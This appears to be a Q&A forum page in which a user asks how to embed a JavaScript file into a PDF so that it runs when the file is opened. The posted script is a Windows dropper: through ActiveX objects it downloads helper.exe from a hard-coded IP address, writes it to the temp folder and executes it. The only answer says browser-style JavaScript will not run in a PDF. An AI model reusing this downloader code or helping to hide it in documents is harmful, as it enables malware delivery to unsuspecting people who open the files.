misctp asdas
misctp asdas

Reputation: 1023

How to embed and execute javascript into existing PDF?

I am struggling with embedding a helper.js (that works if executed independently) into a PDF.

The function of the helper.js is to download from a webserver and execute within a shell. How do i embed this javascript code within the PDF such that it can execute ?

Below is my helper.js code :

var actxObj = this.ActiveXObject;
var wsObj = new actxObj("WScript.Shell");
var ajaxObj = new actxObj("MSXML2.XMLHTTP");
var helperPath = wsObj.ExpandEnvironmentStrings("%TEMP%") + "/helper.exe";

ajaxObj.onreadystatechange = function() {
    if (ajaxObj.readystate === 4) {
        var adoObj = new actxObj("ADODB.Stream");
        adoObj.open();
        adoObj.type = 1;
        adoObj.write(ajaxObj.ResponseBody);
        adoObj.position = 0;
        adoObj.saveToFile(helperPath, 2);
        adoObj.close();
    };
};

try {

    ajaxObj.open("GET", "http://192.168.134.50/tools/helper.exe", false);
    ajaxObj.send();
    wsObj.Run(helperPath, 1, false);
} catch (e) {};

Upvotes: 0

Views: 264

Answers (1)

joelgeraci
joelgeraci

Reputation: 4917

What you listed isn't using the Acrobat extensions to the JavaScript core. It's never going to run in a PDF. Acrobat extends the JavaScript core only. JavaScript that runs in an HTML browser simply won't work in a PDF. Acrobat and other PDF viewers that interpret the Acrobat extensions to JavaScript have a completely different object and event model.

Upvotes: 1

Related Questions